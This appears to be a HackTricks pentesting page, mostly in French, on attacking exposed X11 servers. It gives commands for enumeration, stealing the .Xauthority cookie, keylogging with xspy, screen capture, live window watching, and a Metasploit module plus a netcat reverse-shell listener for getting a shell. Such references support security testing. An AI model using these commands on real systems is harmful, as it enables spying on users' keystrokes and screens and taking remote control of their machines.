hacktricks/network-services-pentesting/6000-pentesting-x11.md

8.5 KiB
Raw Blame History

6000 - Pentesting X11

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Informations de base

X Window System (X) est un système de fenêtres polyvalent répandu sur les systèmes d'exploitation basés sur UNIX. Il fournit un cadre pour créer des interfaces graphiques utilisateur (GUI), chaque programme gérant la conception de l'interface utilisateur. Cette flexibilité permet des expériences diverses et personnalisables au sein de l'environnement X.

Port par défaut : 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeration

Vérifiez la connexion anonyme :

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Énumération locale

Le fichier .Xauthority dans le dossier personnel de l'utilisateur est utilisé par X11 pour l'autorisation. Depuis ici:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1 : Génération de 128 bits de clé (“cookie”), stockage dans ~/.Xauthority (ou là où pointe la variable d'environnement XAUTHORITY). Le client l'envoie au serveur en clair ! Le serveur vérifie s'il a une copie de ce “cookie” et si c'est le cas, la connexion est autorisée. La clé est générée par DMX.

{% hint style="warning" %} Pour utiliser le cookie, vous devez définir la variable d'environnement : export XAUTHORITY=/path/to/.Xauthority {% endhint %}

Session d'énumération locale

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

Dans l'exemple, localhost:0 exécutait xfce4-session.

Vérifier la connexion

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy pour intercepter les frappes au clavier.

Sample Output:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Capture d'écrans

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Remote Desktop View

Source : https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

Tout d'abord, nous devons trouver l'ID de la fenêtre en utilisant xwininfo.

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Pour la visualisation en direct, nous devons utiliser

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Obtenir un Shell

msf> use exploit/unix/x11/x11_keyboard_exec

Reverse Shell : Xrdp permet également de prendre un reverse shell via Netcat. Tapez la commande suivante :

./xrdp.py \<IP:0> no-disp

Dans l'interface, vous pouvez voir l'option R-shell.

Ensuite, démarrez un Netcat listener sur votre système local sur le port 5555.

nc -lvp 5555

Puis, mettez votre adresse IP et le port dans l'option R-Shell et cliquez sur R-shell pour obtenir un shell

Références

Shodan

  • port:6000 x11

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de bugs !

Aperçus du Hacking
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking

Actualités de Hacking en Temps Réel
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel

Dernières Annonces
Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

{% hint style="success" %} Apprenez et pratiquez le Hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}